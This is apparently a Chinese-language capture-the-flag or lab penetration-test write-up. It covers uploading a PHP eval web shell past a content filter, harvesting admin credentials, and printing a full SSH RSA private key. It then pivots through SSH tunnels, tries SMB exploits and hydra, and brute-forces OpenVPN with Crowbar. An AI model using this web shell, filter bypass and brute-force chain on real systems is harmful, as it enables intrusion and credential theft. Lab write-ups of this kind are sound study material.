这个脚本中我使用了代理127.0.0.1:8080,是因为burp的在本地监听8080端口,我们通过这个代理,可以清晰的看到流量的请求和响应过程,便于我们分析。(同样,我们在编写各类exp的时候,都可以这样做,便于我们分析流量)
梯子很卡,爆了很久之后才出密码。
好了,该exp派上用场。根据exp所述,在上传公司logo的地方可以getshell
在这里我卡了很久,一直都被检测出图片不合法,exp也没说这个坑点。后来我才发现,这里采用了文件内容检测,检测到php字符就认不合法。所以这里用php的一个小知识, ?标签后不加php也能执行,后来我在本地测试过这个好像跟php版本也有一点关系….
? @eval($_POST[\'A\']); ?
成功Getshell~
第一个Flag拿到了!
Give_me_all
接下来,信息收集一波就直奔内网了~
但是很烦的是…shell很快就被删掉了,都没来得及看他数据啥的文件,也没来得及维权,上ew来内网漫游。
信息收集,菜单栏一个个点开,邮件、垃圾箱一个都不能少
整理一下:
User Name admin Primary Email admin@test.labFirst Name darthvader Last Name AdministratorAdmin Yes Role CEODefault Lead View Today Status ActiveViewing user details \"darthvader Administrator\"Access Key hDUTJPEVCi7KAIQu
这里基本上就弄完了,然后又试了一次上个不死马,结果还是404了,大概可以猜到这个域环境很多人都在打,环境定时恢复快照了吧,因为我又在CRM邮箱中添加了一个管理员,过了一会也没了。所以大概猜想出题人没有想让我们在这进行内网漫游。
Go on!
再来看看第三个web服务
也是一个邮件系统:Roundcube Webmail, 哇….突然发现信息收集真是牛逼…. 试了一次就进去了!
admin@test.lab darthvader
一点进来又送我一个大礼包, 第二个办公区的SSH Get!
![Alt text]https://i.loli.net/2018/08/02/5b62febc4072c.png)
Mattew,Office 2 GW SSH:username: techpkey:-----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEA01uFJH2WZT9MQgTRG7raRRgK4uDfOSYzWRiw5MRrch9g8iFZ6XQkh+m0jGOFB/1Z1ZulpmhTwdLuc6NwbBWtgghi+OmmQVkEnO86Oy2djqoQIaZam+g4ZZMNPakCiuXYJGepz82dRo+FIeZuuahLA7lt76N88yGbYOneN+uzG/rKu9rafx7F9Nj1Mftwy7/uGaumCYy+H8siwitkn+D4Sv8w0hR51OwQ5q1OUV3HWsMZzdWaHtR5ADbnV1/Pq5Rohy2j34zquhhYiMEa+XSTukobza4DPXZdhgGUCMp9rfvEoVwYJnOR/Ug6C39cr6gXHMqruK9crXwHJ0PzEjV8QQIDAQABAoIBAAYLLel3Nd+7SaDxplEWrLshDt6h84Ac2YcIr7Y675+ZyhniXkHQsmK4ihMhnWI3GmSDSN9TSGHYeD0SRVqx2/5F4x6e/8QKmZkrNg0PJtw3fLKZoSmoIES3Sb+jn5D9NYsE89QfWwnzfKkVf8ELUOnQWZZqpF4Hbfv9c/9BXCPGoMZC0uURwLn0IfTszr7uJM3ByRte1ui9nkJxdYJI5ixmPrN1qawqSzLMpBR/2hOAr9aUAaVI/LEYgHlYTPNr21HlDIyHDeWMfesoI6mCpDhzcGd+TyrXZ3yZ33l8wHzAUrfG0JUVHOs/MxkyVR6+U2E9W9GgMKoMA5Ubv5MMZGECgYEA9l8PgnucsGxDIUfwDJ/qX5HV5z0zy6MwFyyu0YNi/FcmmbNeKm+sVRfKaMbrT7YNGRZQZLv5VeS2zhKx6CDOlrCoU2p22yUUiFhxfJSxd1L8GmjVboknx3j62L58ypjJRi9nW1P6rYzJ5hEhh8UBds8VvJdxtWnjCJcaOusgMF0CgYEA254lnoRgO9LIHHG6BNsdcq0vPa8e/O0Y3Ald+z1+vcGEkFR8PAVbJEyWAPq/KVHSx7dEsykfK5DRkyRVndAO8HjCLhcnwwAPolZHlWzqw3XU2wRN+NDqi6sH0Go9CXxcXjFEvWHzSpJbCVY+Xnf6NltEOdsGJtJlInlN9pwFzTUCgYBKRpJ4difhEGKUsAlw5O1V7rOcSVlKNWKUOgZiZ8f555RdljP3ez9rUAbX29CpcWs1ewK1u+4JtTBfpEc6glmGGLBGpbw7iUxNZsygEHwIS15x39Uow/TYMGL/4T3iHnnfzP7OC91xYRalY9jGA+DTHs+g0c+YL9oght2DkctciQKBgE2simudMBgYfbQpuPv8r1ae0AWGCXS1OsSf/4BbiJb+ea8+Yk4sKscU2zzvcmrfyKfgNskS8zZKWwUqpalSK+Z7H1qD0AlU3TKyR1EfG40UALuRsy4cXcgWLoZU/M99D4I09LXyjcTDLLWJrjdlQba14tR/lZZndWOS+bMODbM9AoGBAJcGogQGJHF4+uhwc32pQq3fBSVvPALBGP443BSaYz0DqeJbhGVCyOUy+dc6aNMKqME1vyC5cRpGnwnOGYvlzsBsBfspk4XnM8khQCs5SWRq28hPKb3xDU0ae97Ix2B3jrPlPlh9vo4xwNaND3xhF8AVQxyH1ET1YbnmVPSe/PgU-----END RSA PRIVATE KEY-----
这下就很舒服了,转战第二个办公区,同样Nmap探测一下192.168.101.11。
发现2222端口是他的ssh端口,
我这里用finalshell来连接ssh:
或者通过命令ssh tech@192.168.101.11 -p2222 -i office2_ssh.key 来连接ssh也行
发现tmp目录下tech有执行权限
上了一个信息收集的脚本,结果见附件中。
这里列出一些信息收集比较重要的命令:
uname -a # 查看内核/操作系统/CPU信息cat /proc/version # 查看linux系统的内核版本head -n 3 /etc/issue # 查看操作系统版本 cat /proc/cpuinfo # 查看CPU信息dpkg-query -l # 查看安装软件hostname # 查看计算机名 ps -ef # 查看所有进程lsusb -tv # 列出所有USB设备 dpkg-query -l # 安装的软件lsmod # 列出加载的内核模块env # 查看环境变量cut -d: -f1 /etc/group # 查看系统所有组 crontab -l # 查看当前用户的计划任务dmesg | grep -i \'eth\' # 查看网卡信息ifconfig # 查看所有网络接口的属性iptables -L # 查看防火墙设置 route -n # 查看路由表 top # 实时显示进程状态lspci -tv # 列出所有PCI设备netstat -lntp # 查看所有监听端口 netstat -antp # 查看所有已经建立的连接netstat -s # 查看网络统计信息w # 查看活动用户id 用户名 # 查看指定用户信息 last # 查看用户登录日志 cut -d: -f1 /etc/passwd # 查看系统所有用户 chkconfig --list # 列出所有系统服务chkconfig --list | grep on # 列出所有启动的系统服务
突然发现tmp目录下还能搭顺风车… 这台机器不重置,前人留下的足迹都在这… 试了几个exp,都无果…
再搭顺风车… 借上面nmap一用。
nmap -sV -Pn 192.168.13.1-3
这里可以扫描到第二办公区三台主机的的3389。
现在我们得想如何才能连上内网中的内网的3389。
两种思路,第一种就是在office2的入口机上面放一个ew代理工具,然后直接攻击机socket5去连接目标,但是有个问题就是我们现在已经挂了VPN了再在攻击机上挂一个代理工具似乎不可行。
另外一条思路就是用ssh建隧道,可能很多人(比如我)都只知道ssh是用来连linux服务器的。殊不知它的隧道转发功能是多么强大。让我们很方便的进行内网穿透。
这里简单的介绍一下,它有三个基本功能:
本地端口转发远程端口转发动态端口转发这里我们用本地端口转发,命令格式如下:
ssh -L [bind-address] local port : remote host : remote port SSH hostname
Bind_address:表示本地主机的ip(绑定地址),这里是针对系统有多块网卡,不指定默认127.0.0.1
Local port: 本地主机指定监听的端口
Remote host:远程主机的host
SSH hostname:和local建立隧道的服务器,如上图中SSH Sever服务器的主机
所以这里我们将offic2的入口机当成跳板,通过它连接内网主机的3389,监听三个端口3389,映射到内部的三台主机的3389。
ssh -L 3389:192.168.13.1:3389 -i office2_ssh.key tech@192.168.101.11 -p 2222
三台winodws,轮流尝试MS17010、MS08067等还有hydra爆破。
之前没有记录这里的过程,就只用hydra爆出了一台3389,后来想再去深入一下的时候,网络很差3389连了很久都连不上,就暂时先放着了。
根据之前跑了一个信息收集脚本发现,办公一区的边界机是可以ping通的。
还有一点.. 根据收集到的安装的软件看到了这么几个软件比较眼熟
nmap、openssh啥的就不用说了,值得注意的是openvpn,有可能是内部员工的梯子之类的。
tech@tl11-gw-2:~$ whereis openvpnopenvpn: /usr/sbin/openvpn /usr/lib/openvpn /etc/openvpn /usr/include/openvpn /usr/share/openvpn /usr/share/man/man8/openvpn.8.gztech@tl11-gw-2:~$ cd /etc/openvpntech@tl11-gw-2:/etc/openvpn$ ls -alltech@tl11-gw-2:/etc/openvpn$ cat server.conf
把配置文件下载下来,里面记录如下,大致的意思就是 office2的人想进入office1的内网就连接他们1194端口。
clientdev tunproto tcpremote 192.168.101.10 1194remote-cert-tls server######ping 3#ping-restart 60#####script-security 2up /etc/openvpn/update-resolv-confdown /etc/openvpn/update-resolv-conf## auth for Office-2 userauth-user-pass \"/opt/openvpn/auth.txt\"resolv-retry infinitepersist-keypersist-tuncomp-lzo-----BEGIN CERTIFICATE-----省略...-----END CERTIFICATE----- /ca log /var/log/openvpn-client.logverb 3
现在我们挂上office1区的vpn,应该就能漫游内网了~
但是有没有注意到配置文件的第18行auth-user-pass \"/opt/openvpn/auth.txt\"
我们连/opt文件夹读的权限都没有…
这就很难受了,不过登录名我们可以知道Office-2 ,然后密码只能爆破背锅了,
在安全客发现一篇爆破openvpn的文章:https://www.anquanke.com/post/id/84193
使用Crowbar工具:爆破需要一个特定的ip和端口,还有配置文件,认证文件,用户名和密码。
./crowbar.py -b openvpn -s 192.168.101.11 -p 1194/ -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u Office-2 -c cr2hudaF
详细用法见:https://github.com/galkan/crowbar
GFW把我网掐断了.. 只能等我找个比较好的解决办法再继续玩了…
最后,其实玩这个让我体会最深的就是,渗透的本质就是信息收集,其中还有一些不太懂的地方还希望各位大佬斧正。
哦对,现在这个实验室快出V12和V13域渗透环境了,到时候可以一起分享交流~